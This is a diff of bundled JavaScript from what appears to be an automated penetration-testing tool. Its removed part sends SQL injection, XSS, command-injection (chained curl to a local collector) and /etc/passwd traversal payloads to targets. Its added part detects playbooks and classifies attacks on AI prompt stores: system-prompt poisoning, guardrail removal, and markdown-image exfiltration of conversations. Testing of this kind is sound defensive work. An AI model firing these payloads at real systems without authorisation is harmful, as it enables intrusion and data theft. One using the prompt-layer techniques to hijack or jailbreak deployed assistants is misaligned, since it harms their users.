prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
|
|
1508
|
-
guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
|
|
1509
|
-
output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
|
|
1510
|
-
model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
|
|
1511
|
-
};
|
|
1512
|
-
function describeAsset(asset) {
|
|
1513
|
-
const loc = [asset.table, asset.column].filter(Boolean).join(".");
|
|
1514
|
-
return loc || "unnamed asset";
|
|
1515
|
-
}
|
|
1516
|
-
|
|
1517
|
-
// packages/core/dist/triage/oracle-runtime.js
|
|
1518
|
-
import { randomUUID } from "node:crypto";
|
|
1519
|
-
import { createServer } from "node:http";
|
|
1520
|
-
|
|
1521
|
-
// packages/core/dist/triage/oracles.js
|
|
1522
|
-
var DEFAULT_TIMEOUT_MS = 1e4;
|
|
1523
|
-
function notVerifiable(reason) {
|
|
1524
|
-
return { verified: false, confidence: 0, evidence: "", reason };
|
|
1525
|
-
}
|
|
1526
|
-
function verified(evidence, confidence = 1) {
|
|
1527
|
-
return { verified: true, confidence, evidence, reason: "" };
|
|
1528
|
-
}
|
|
1529
|
-
function parseRequest(requestText, fallbackTarget) {
|
|
1530
|
-
const parsed = {
|
|
1531
|
-
method: "GET",
|
|
1532
|
-
url: fallbackTarget,
|
|
1533
|
-
headers: {},
|
|
1534
|
-
body: "",
|
|
1535
|
-
params: {}
|
|
1536
|
-
};
|
|
1537
|
-
const parseFallbackQuery = () => {
|
|
1538
|
-
try {
|
|
1539
|
-
const u = new URL(parsed.url);
|
|
1540
|
-
u.searchParams.forEach((v, k) => {
|
|
1541
|
-
parsed.params[k] = v;
|
|
1542
|
-
});
|
|
1543
|
-
} catch {
|
|
1544
|
-
}
|
|
1545
|
-
};
|
|
1546
|
-
if (!requestText) {
|
|
1547
|
-
parseFallbackQuery();
|
|
1548
|
-
return parsed;
|
|
1549
|
-
}
|
|
1550
|
-
const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
|
|
1551
|
-
if (curlUrl)
|
|
1552
|
-
parsed.url = curlUrl[1].replace(/['"]$/, "");
|
|
1553
|
-
const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
|
|
1554
|
-
if (curlMethod)
|
|
1555
|
-
parsed.method = curlMethod[1].toUpperCase();
|
|
1556
|
-
const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
|
|
1557
|
-
if (curlData)
|
|
1558
|
-
parsed.body = curlData[1];
|
|
1559
|
-
const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
|
|
1560
|
-
if (startLine) {
|
|
1561
|
-
parsed.method = startLine[1].toUpperCase();
|
|
1562
|
-
const path = startLine[2];
|
|
1563
|
-
const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
|
|
1564
|
-
if (hostHeader) {
|
|
1565
|
-
const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
|
|
1566
|
-
parsed.url = `${scheme}://${hostHeader[1]}${path}`;
|
|
1567
|
-
} else if (path.startsWith("/")) {
|
|
1568
|
-
try {
|
|
1569
|
-
const base = new URL(fallbackTarget);
|
|
1570
|
-
parsed.url = `${base.origin}${path}`;
|
|
1571
|
-
} catch {
|
|
1572
|
-
parsed.url = path;
|
|
1573
|
-
}
|
|
1574
|
-
} else {
|
|
1575
|
-
parsed.url = path;
|
|
1576
|
-
}
|
|
1577
|
-
const sep = requestText.indexOf("\n\n");
|
|
1578
|
-
if (sep >= 0)
|
|
1579
|
-
parsed.body = requestText.slice(sep + 2).trim();
|
|
1580
|
-
}
|
|
1581
|
-
try {
|
|
1582
|
-
const u = new URL(parsed.url);
|
|
1583
|
-
u.searchParams.forEach((v, k) => {
|
|
1584
|
-
parsed.params[k] = v;
|
|
1585
|
-
});
|
|
1586
|
-
} catch {
|
|
1587
|
-
}
|
|
1588
|
-
if (parsed.body && parsed.body.includes("=") && !parsed.body.startsWith("{")) {
|
|
1589
|
-
for (const pair of parsed.body.split("&")) {
|
|
1590
|
-
const [k, v] = pair.split("=");
|
|
1591
|
-
if (k)
|
|
1592
|
-
parsed.params[decodeURIComponent(k)] = decodeURIComponent(v ?? "");
|
|
1593
|
-
}
|
|
1594
|
-
}
|
|
1595
|
-
return parsed;
|
|
1596
|
-
}
|
|
1597
|
-
function buildProbeRequest(parsed, newParams) {
|
|
1598
|
-
const merged = { ...parsed.params, ...newParams };
|
|
1599
|
-
const method = parsed.method || "GET";
|
|
1600
|
-
const init = { method, headers: parsed.headers };
|
|
1601
|
-
if (method === "GET" || method === "DELETE") {
|
|
1602
|
-
try {
|
|
1603
|
-
const u = new URL(parsed.url);
|
|
1604
|
-
Array.from(u.searchParams.keys()).forEach((k) => u.searchParams.delete(k));
|
|
1605
|
-
for (const [k, v] of Object.entries(merged))
|
|
1606
|
-
u.searchParams.set(k, v);
|
|
1607
|
-
return { url: u.toString(), init };
|
|
1608
|
-
} catch {
|
|
1609
|
-
return { url: parsed.url, init };
|
|
1610
|
-
}
|
|
1611
|
-
}
|
|
1612
|
-
init.body = new URLSearchParams(merged).toString();
|
|
1613
|
-
init.headers = {
|
|
1614
|
-
"content-type": "application/x-www-form-urlencoded",
|
|
1615
|
-
...parsed.headers
|
|
1616
|
-
};
|
|
1617
|
-
return { url: parsed.url, init };
|
|
1618
|
-
}
|
|
1619
|
-
async function timedFetch(url, init, timeoutMs = DEFAULT_TIMEOUT_MS) {
|
|
1620
|
-
const controller = new AbortController();
|
|
1621
|
-
const timer = setTimeout(() => controller.abort(), timeoutMs);
|
|
1622
|
-
const start = Date.now();
|
|
1623
|
-
try {
|
|
1624
|
-
const res = await fetch(url, { ...init, signal: controller.signal });
|
|
1625
|
-
const body = await res.text();
|
|
1626
|
-
return { status: res.status, body, latencyMs: Date.now() - start };
|
|
1627
|
-
} catch {
|
|
1628
|
-
return null;
|
|
1629
|
-
} finally {
|
|
1630
|
-
clearTimeout(timer);
|
|
1631
|
-
}
|
|
1632
|
-
}
|
|
1633
|
-
var SQL_ERROR_PATTERNS = [
|
|
1634
|
-
// MySQL
|
|
1635
|
-
/You have an error in your SQL syntax/i,
|
|
1636
|
-
/\bmysql_fetch_/i,
|
|
1637
|
-
/\bMySQLSyntaxErrorException\b/i,
|
|
1638
|
-
/\bMariaDB\b.*?\bsyntax\b/i,
|
|
1639
|
-
// PostgreSQL
|
|
1640
|
-
/\bPG::SyntaxError\b/i,
|
|
1641
|
-
/\bpq:\s+syntax error\b/i,
|
|
1642
|
-
/\bpsql:.*?ERROR:/i,
|
|
1643
|
-
/unterminated quoted string/i,
|
|
1644
|
-
// SQLite
|
|
1645
|
-
/\bSQLite3::/i,
|
|
1646
|
-
/\bsqlite3\.OperationalError\b/i,
|
|
1647
|
-
/near\s+".+?":\s*syntax error/i,
|
|
1648
|
-
// MSSQL
|
|
1649
|
-
/\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
|
|
1650
|
-
/\bUnclosed quotation mark\b/i,
|
|
1651
|
-
/\bOLE DB.*?SQL Server\b/i,
|
|
1652
|
-
// Oracle
|
|
1653
|
-
/\bORA-\d{4,5}\b/i,
|
|
1654
|
-
/\bquoted string not properly terminated\b/i
|
|
1655
|
-
];
|
|
1656
|
-
function detectSqlError(body) {
|
|
1657
|
-
for (const re of SQL_ERROR_PATTERNS) {
|
|
1658
|
-
const m = body.match(re);
|
|
1659
|
-
if (m)
|
|
1660
|
-
return m[0];
|
|
1661
|
-
}
|
|
1662
|
-
return null;
|
|
1663
|
-
}
|
|
1664
|
-
function pickInjectableParam(parsed) {
|
|
1665
|
-
for (const [k, v] of Object.entries(parsed.params)) {
|
|
1666
|
-
if (v && v.length > 0)
|
|
1667
|
-
return { key: k, value: v };
|
|
1668
|
-
}
|
|
1669
|
-
const first = Object.keys(parsed.params)[0];
|
|
1670
|
-
if (first)
|
|
1671
|
-
return { key: first, value: parsed.params[first] ?? "" };
|
|
1672
|
-
return null;
|
|
1673
|
-
}
|
|
1674
|
-
async function verifySqli(finding, target) {
|
|
1675
|
-
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
1676
|
-
const victim = pickInjectableParam(parsed);
|
|
1677
|
-
if (!victim)
|
|
1678
|
-
return notVerifiable("no injectable parameter found in finding evidence");
|
|
1679
|
-
const signals = [];
|
|
1680
|
-
const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
|
|
1681
|
-
if (!baseline)
|
|
1682
|
-
return notVerifiable("baseline request failed");
|
|
1683
|
-
const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
|
|
1684
|
-
const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
|
|
1685
|
-
if (trueProbe && falseProbe && trueProbe.body.length > 0) {
|
|
1686
|
-
const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
|
|
1687
|
-
if (delta > 0.1) {
|
|
1688
|
-
signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
|
|
1689
|
-
}
|
|
1690
|
-
}
|
|
1691
|
-
const timePayloads = [
|
|
1692
|
-
`${victim.value}' AND SLEEP(3)-- -`,
|
|
1693
|
-
`${victim.value}'; SELECT pg_sleep(3)-- -`,
|
|
1694
|
-
`${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
|
|
1695
|
-
];
|
|
1696
|
-
for (const payload of timePayloads) {
|
|
1697
|
-
const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
|
|
1698
|
-
if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
|
|
1699
|
-
signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
|
|
1700
|
-
break;
|
|
1701
|
-
}
|
|
1702
|
-
}
|
|
1703
|
-
const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
|
|
1704
|
-
if (errProbe) {
|
|
1705
|
-
const err = detectSqlError(errProbe.body);
|
|
1706
|
-
if (err)
|
|
1707
|
-
signals.push(`sql_error: ${err}`);
|
|
1708
|
-
}
|
|
1709
|
-
if (signals.length >= 2) {
|
|
1710
|
-
return verified(signals.join(" | "));
|
|
1711
|
-
}
|
|
1712
|
-
return {
|
|
1713
|
-
verified: false,
|
|
1714
|
-
confidence: signals.length === 1 ? 0.4 : 0,
|
|
1715
|
-
evidence: signals.join(" | "),
|
|
1716
|
-
reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
|
|
1717
|
-
};
|
|
1718
|
-
}
|
|
1719
|
-
async function verifyReflectedXss(finding, target) {
|
|
1720
|
-
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
1721
|
-
const victim = pickInjectableParam(parsed);
|
|
1722
|
-
if (!victim)
|
|
1723
|
-
return notVerifiable("no injectable parameter found in finding evidence");
|
|
1724
|
-
const token = `osec_${randomUUID().replace(/-/g, "")}`;
|
|
1725
|
-
const payload = `<script>alert('${token}')</script>`;
|
|
1726
|
-
const { url, init } = buildProbeRequest(parsed, {
|
|
1727
|
-
[victim.key]: payload
|
|
1728
|
-
});
|
|
1729
|
-
const probe = await timedFetch(url, init);
|
|
1730
|
-
const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`<script>alert('${token}')</script>`);
|
|
1731
|
-
let playwright = null;
|
|
1732
|
-
try {
|
|
1733
|
-
playwright = await import("playwright");
|
|
1734
|
-
} catch {
|
|
1735
|
-
}
|
|
1736
|
-
if (playwright) {
|
|
1737
|
-
let browser = null;
|
|
1738
|
-
try {
|
|
1739
|
-
browser = await playwright.chromium.launch({ headless: true });
|
|
1740
|
-
const page = await browser.newPage();
|
|
1741
|
-
let dialogMessage = "";
|
|
1742
|
-
page.on("dialog", async (dialog) => {
|
|
1743
|
-
dialogMessage = dialog.message();
|
|
1744
|
-
await dialog.dismiss().catch(() => {
|
|
1745
|
-
});
|
|
1746
|
-
});
|
|
1747
|
-
await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
|
|
1748
|
-
await page.waitForTimeout(500);
|
|
1749
|
-
await browser.close();
|
|
1750
|
-
browser = null;
|
|
1751
|
-
if (dialogMessage.includes(token)) {
|
|
1752
|
-
return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
|
|
1753
|
-
}
|
|
1754
|
-
} catch (err) {
|
|
1755
|
-
if (browser)
|
|
1756
|
-
await browser.close().catch(() => {
|
|
1757
|
-
});
|
|
1758
|
-
return {
|
|
1759
|
-
verified: false,
|
|
1760
|
-
confidence: htmlReflected ? 0.4 : 0,
|
|
1761
|
-
evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
|
|
1762
|
-
reason: `playwright navigation failed: ${err.message}`
|
|
1763
|
-
};
|
|
1764
|
-
}
|
|
1765
|
-
}
|
|
1766
|
-
if (htmlReflected) {
|
|
1767
|
-
return {
|
|
1768
|
-
verified: false,
|
|
1769
|
-
confidence: 0.5,
|
|
1770
|
-
evidence: `html_reflection: payload reflected unencoded in response body`,
|
|
1771
|
-
reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
|
|
1772
|
-
};
|
|
1773
|
-
}
|
|
1774
|
-
return notVerifiable("no xss reflection or alert captured");
|
|
1775
|
-
}
|
|
1776
|
-
async function withCollector(nonce, timeoutMs, work) {
|
|
1777
|
-
const port = 8888 + Math.floor(Math.random() * 1e3);
|
|
1778
|
-
let hit = false;
|
|
1779
|
-
const server = createServer((req, res) => {
|
|
1780
|
-
if ((req.url ?? "").includes(nonce))
|
|
1781
|
-
hit = true;
|
|
1782
|
-
res.writeHead(200);
|
|
1783
|
-
res.end("ok");
|
|
1784
|
-
});
|
|
1785
|
-
await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
|
|
1786
|
-
const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
|
|
1787
|
-
const waitForHit = async () => {
|
|
1788
|
-
const deadline = Date.now() + timeoutMs;
|
|
1789
|
-
while (Date.now() < deadline) {
|
|
1790
|
-
if (hit)
|
|
1791
|
-
return true;
|
|
1792
|
-
await new Promise((r) => setTimeout(r, 100));
|
|
1793
|
-
}
|
|
1794
|
-
return hit;
|
|
1795
|
-
};
|
|
1796
|
-
try {
|
|
1797
|
-
return await work(collectorUrl, waitForHit);
|
|
1798
|
-
} finally {
|
|
1799
|
-
await new Promise((resolve) => server.close(() => resolve()));
|
|
1897
|
+
/garbage collector/i,
|
|
1898
|
+
/\.rs\b/,
|
|
1899
|
+
/\bcargo\b/i,
|
|
1900
|
+
/\bsegfault\b/i,
|
|
1901
|
+
/sandbox escape/i
|
|
1902
|
+
]
|
|
1800
1903
|
}
|
|
1801
|
-
|
|
1802
|
-
|
|
1803
|
-
const
|
|
1804
|
-
const
|
|
1805
|
-
|
|
1806
|
-
|
|
1807
|
-
|
|
1808
|
-
|
|
1809
|
-
|
|
1810
|
-
|
|
1811
|
-
});
|
|
1812
|
-
const probe = await timedFetch(url, init, 8e3);
|
|
1813
|
-
if (!probe)
|
|
1814
|
-
return notVerifiable("ssrf probe failed to send");
|
|
1815
|
-
const hit = await waitForHit();
|
|
1816
|
-
if (hit) {
|
|
1817
|
-
return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
|
|
1818
|
-
}
|
|
1819
|
-
return {
|
|
1820
|
-
verified: false,
|
|
1821
|
-
confidence: 0,
|
|
1822
|
-
evidence: "",
|
|
1823
|
-
reason: `collector never received a request for nonce=${nonce}`
|
|
1824
|
-
};
|
|
1825
|
-
});
|
|
1826
|
-
}
|
|
1827
|
-
async function verifyRce(finding, target) {
|
|
1828
|
-
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
1829
|
-
const victim = pickInjectableParam(parsed);
|
|
1830
|
-
if (!victim)
|
|
1831
|
-
return notVerifiable("no injectable parameter found in finding evidence");
|
|
1832
|
-
const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
|
|
1833
|
-
return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
|
|
1834
|
-
const payloads = [
|
|
1835
|
-
`${victim.value};curl ${collectorUrl}`,
|
|
1836
|
-
`${victim.value}|curl ${collectorUrl}`,
|
|
1837
|
-
`${victim.value}$(curl ${collectorUrl})`,
|
|
1838
|
-
`${victim.value}\`curl ${collectorUrl}\``,
|
|
1839
|
-
`${victim.value}&&curl ${collectorUrl}`
|
|
1840
|
-
];
|
|
1841
|
-
for (const payload of payloads) {
|
|
1842
|
-
const { url, init } = buildProbeRequest(parsed, {
|
|
1843
|
-
[victim.key]: payload
|
|
1844
|
-
});
|
|
1845
|
-
await timedFetch(url, init, 8e3);
|
|
1904
|
+
];
|
|
1905
|
+
function detectPlaybooks(toolResultTexts) {
|
|
1906
|
+
const combined = toolResultTexts.join("\n");
|
|
1907
|
+
const scores = /* @__PURE__ */ new Map();
|
|
1908
|
+
for (const indicator of INDICATORS) {
|
|
1909
|
+
let matchCount = 0;
|
|
1910
|
+
for (const pattern of indicator.patterns) {
|
|
1911
|
+
if (pattern.test(combined)) {
|
|
1912
|
+
matchCount++;
|
|
1913
|
+
}
|
|
1846
1914
|
}
|
|
1847
|
-
|
|
1848
|
-
|
|
1849
|
-
return verified(`collector hit: nonce=${nonce}`);
|
|
1850
|
-
return {
|
|
1851
|
-
verified: false,
|
|
1852
|
-
confidence: 0,
|
|
1853
|
-
evidence: "",
|
|
1854
|
-
reason: `collector never received a request for nonce=${nonce}`
|
|
1855
|
-
};
|
|
1856
|
-
});
|
|
1857
|
-
}
|
|
1858
|
-
var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
|
|
1859
|
-
async function verifyPathTraversal(finding, target) {
|
|
1860
|
-
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
1861
|
-
const victim = pickInjectableParam(parsed);
|
|
1862
|
-
if (!victim)
|
|
1863
|
-
return notVerifiable("no injectable parameter found in finding evidence");
|
|
1864
|
-
const payloads = [
|
|
1865
|
-
"../../../../etc/passwd",
|
|
1866
|
-
"..%2f..%2f..%2f..%2fetc%2fpasswd",
|
|
1867
|
-
"..%252f..%252f..%252fetc%252fpasswd",
|
|
1868
|
-
"../../../../etc/passwd%00",
|
|
1869
|
-
"....//....//....//etc/passwd",
|
|
1870
|
-
"/etc/passwd"
|
|
1871
|
-
];
|
|
1872
|
-
for (const payload of payloads) {
|
|
1873
|
-
const { url, init } = buildProbeRequest(parsed, {
|
|
1874
|
-
[victim.key]: payload
|
|
1875
|
-
});
|
|
1876
|
-
const probe = await timedFetch(url, init);
|
|
1877
|
-
if (!probe)
|
|
1878
|
-
continue;
|
|
1879
|
-
const m = probe.body.match(PASSWD_PATTERN);
|
|
1880
|
-
if (m) {
|
|
1881
|
-
return verified(`payload=${payload} response contained "${m[0]}"`);
|
|
1915
|
+
if (matchCount >= 2) {
|
|
1916
|
+
scores.set(indicator.type, matchCount);
|
|
1882
1917
|
}
|
|
1883
1918
|
}
|
|
1884
|
-
return
|
|
1919
|
+
return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
|
|
1885
1920
|
}
|
|
1886
|
-
|
|
1887
|
-
const
|
|
1888
|
-
|
|
1889
|
-
|
|
1890
|
-
|
|
1891
|
-
|
|
1892
|
-
|
|
1893
|
-
|
|
1894
|
-
|
|
1895
|
-
|
|
1921
|
+
function buildPlaybookInjection(types) {
|
|
1922
|
+
const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
|
|
1923
|
+
if (sections.length === 0)
|
|
1924
|
+
return "";
|
|
1925
|
+
return [
|
|
1926
|
+
"## Dynamic Playbook Injection",
|
|
1927
|
+
"",
|
|
1928
|
+
"Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
|
|
1929
|
+
"Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
|
|
1930
|
+
"",
|
|
1931
|
+
...sections
|
|
1932
|
+
].join("\n");
|
|
1933
|
+
}
|
|
1934
|
+
var PROMPT_LAYER_IMPACT_RULES = [
|
|
1935
|
+
{
|
|
1936
|
+
impact: "guardrail_removal",
|
|
1937
|
+
patterns: [
|
|
1938
|
+
/\bguardrail/i,
|
|
1939
|
+
/safety[_\s-]?settings?/i,
|
|
1940
|
+
/\bmoderation\b/i,
|
|
1941
|
+
/\bpolicy\b/i,
|
|
1942
|
+
/\brefus/i,
|
|
1943
|
+
/\bnever (?:reveal|disclose|share|answer)/i,
|
|
1944
|
+
/you must (?:refuse|not)/i,
|
|
1945
|
+
/content[_\s-]?filter/i
|
|
1946
|
+
]
|
|
1947
|
+
},
|
|
1948
|
+
{
|
|
1949
|
+
impact: "output_channel_exfil",
|
|
1950
|
+
patterns: [
|
|
1951
|
+
/output[_\s-]?(?:channel|template|format)/i,
|
|
1952
|
+
/webhook/i,
|
|
1953
|
+
/\bcallback\b/i,
|
|
1954
|
+
/markdown/i,
|
|
1955
|
+
/!\[[^\]]*\]\(https?:\/\//,
|
|
1956
|
+
/append .*(?:url|link|http)/i
|
|
1957
|
+
]
|
|
1958
|
+
},
|
|
1959
|
+
{
|
|
1960
|
+
impact: "model_config_tamper",
|
|
1961
|
+
patterns: [
|
|
1962
|
+
/model[_\s-]?(?:config|name|id)/i,
|
|
1963
|
+
/\btemperature\b/i,
|
|
1964
|
+
/\btop[_\s-]?p\b/i,
|
|
1965
|
+
/\bmax[_\s-]?tokens\b/i,
|
|
1966
|
+
/tool[_\s-]?(?:config|choice|s)\b/i,
|
|
1967
|
+
/function[_\s-]?(?:config|call)/i,
|
|
1968
|
+
/assistant[_\s-]?config/i,
|
|
1969
|
+
/agent[_\s-]?config/i
|
|
1970
|
+
]
|
|
1971
|
+
},
|
|
1972
|
+
{
|
|
1973
|
+
impact: "prompt_poisoning",
|
|
1974
|
+
patterns: [
|
|
1975
|
+
/system[_\s-]?prompt/i,
|
|
1976
|
+
/prompt[_\s-]?template/i,
|
|
1977
|
+
/\bprompts?\b/i,
|
|
1978
|
+
/\binstructions?\b/i,
|
|
1979
|
+
/\bpersona\b/i,
|
|
1980
|
+
/you are (?:a|an|now|the)/i
|
|
1981
|
+
]
|
|
1896
1982
|
}
|
|
1897
|
-
|
|
1898
|
-
|
|
1899
|
-
|
|
1900
|
-
|
|
1901
|
-
|
|
1902
|
-
|
|
1903
|
-
|
|
1904
|
-
|
|
1983
|
+
];
|
|
1984
|
+
function looksLikePromptLayer(haystack) {
|
|
1985
|
+
return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
|
|
1986
|
+
}
|
|
1987
|
+
function classifyPromptLayerImpact(asset) {
|
|
1988
|
+
const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
|
|
1989
|
+
const isPromptLayer = looksLikePromptLayer(haystack);
|
|
1990
|
+
if (!isPromptLayer) {
|
|
1991
|
+
return {
|
|
1992
|
+
isPromptLayer: false,
|
|
1993
|
+
impacts: [],
|
|
1994
|
+
severity: "info",
|
|
1995
|
+
narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
|
|
1996
|
+
};
|
|
1905
1997
|
}
|
|
1906
|
-
|
|
1907
|
-
|
|
1908
|
-
|
|
1909
|
-
|
|
1910
|
-
return notVerifiable("baseline request failed");
|
|
1911
|
-
const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
|
|
1912
|
-
const hits = [];
|
|
1913
|
-
for (const variant of variants) {
|
|
1914
|
-
if (variant === String(idValue))
|
|
1915
|
-
continue;
|
|
1916
|
-
const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
|
|
1917
|
-
if (!probe)
|
|
1918
|
-
continue;
|
|
1919
|
-
if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
|
|
1920
|
-
hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
|
|
1998
|
+
const impacts = [];
|
|
1999
|
+
for (const rule of PROMPT_LAYER_IMPACT_RULES) {
|
|
2000
|
+
if (rule.patterns.some((p) => p.test(haystack))) {
|
|
2001
|
+
impacts.push(rule.impact);
|
|
1921
2002
|
}
|
|
1922
2003
|
}
|
|
1923
|
-
if (
|
|
2004
|
+
if (!asset.writable) {
|
|
1924
2005
|
return {
|
|
1925
|
-
|
|
1926
|
-
|
|
1927
|
-
|
|
1928
|
-
|
|
2006
|
+
isPromptLayer: true,
|
|
2007
|
+
impacts: [],
|
|
2008
|
+
severity: "low",
|
|
2009
|
+
narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
|
|
1929
2010
|
};
|
|
1930
2011
|
}
|
|
1931
|
-
|
|
2012
|
+
const reRead = asset.reReadAtInference === true;
|
|
2013
|
+
const severity = reRead ? "high" : "low";
|
|
2014
|
+
const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
|
|
2015
|
+
const narrative = [
|
|
2016
|
+
`WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
|
|
2017
|
+
reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
|
|
2018
|
+
`Impact class(es): ${impacts.join(", ")}.`,
|
|
2019
|
+
...impactLabels.map((l) => `- ${l}`),
|
|
2020
|
+
"Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
|
|
2021
|
+
].join("\n");
|
|
2022
|
+
return { isPromptLayer: true, impacts, severity, narrative };
|
|
1932
2023
|
}
|
|
1933
|
-
|
|
1934
|
-
|
|
1935
|
-
|
|
1936
|
-
|
|
1937
|
-
|
|
1938
|
-
|
|
1939
|
-
|
|
1940
|
-
|
|
1941
|
-
|
|
1942
|
-
case "command-injection":
|
|
1943
|
-
case "code-injection":
|
|
1944
|
-
return verifyRce(finding, target);
|
|
1945
|
-
case "path-traversal":
|
|
1946
|
-
return verifyPathTraversal(finding, target);
|
|
1947
|
-
// Heuristic: "information-disclosure" findings referencing an id param
|
|
1948
|
-
// look a lot like IDOR. We route them through the IDOR oracle as well.
|
|
1949
|
-
case "information-disclosure":
|
|
1950
|
-
return verifyIdor(finding, target);
|
|
1951
|
-
default:
|
|
1952
|
-
return {
|
|
1953
|
-
verified: false,
|
|
1954
|
-
confidence: 0,
|
|
1955
|
-
evidence: "",
|
|
1956
|
-
reason: `no oracle for category="${category}"`
|
|
1957
|
-
};
|
|
1958
|
-
}
|
|
2024
|
+
var IMPACT_NARRATIVE = {
|
|
2025
|
+
prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
|
|
2026
|
+
guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
|
|
2027
|
+
output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
|
|
2028
|
+
model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
|
|
2029
|
+
};
|
|
2030
|
+
function describeAsset(asset) {
|
|
2031
|
+
const loc = [asset.table, asset.column].filter(Boolean).join(".");
|
|
2032
|
+
return loc || "unnamed asset";
|
|
1959
2033
|
}
|
|
1960
2034
|
|
|
1961
2035
|
export {
|
|
2036
|
+
parseRequest,
|
|
2037
|
+
verifyOracleByCategory,
|
|
1962
2038
|
parseSanitizerLog,
|
|
1963
2039
|
renderSanitizerVerdict,
|
|
1964
2040
|
detectPlaybooks,
|
|
1965
2041
|
buildPlaybookInjection,
|
|
1966
|
-
classifyPromptLayerImpact
|
|
1967
|
-
verifyOracleByCategory
|
|
2042
|
+
classifyPromptLayerImpact
|
|
1968
2043
|
};
|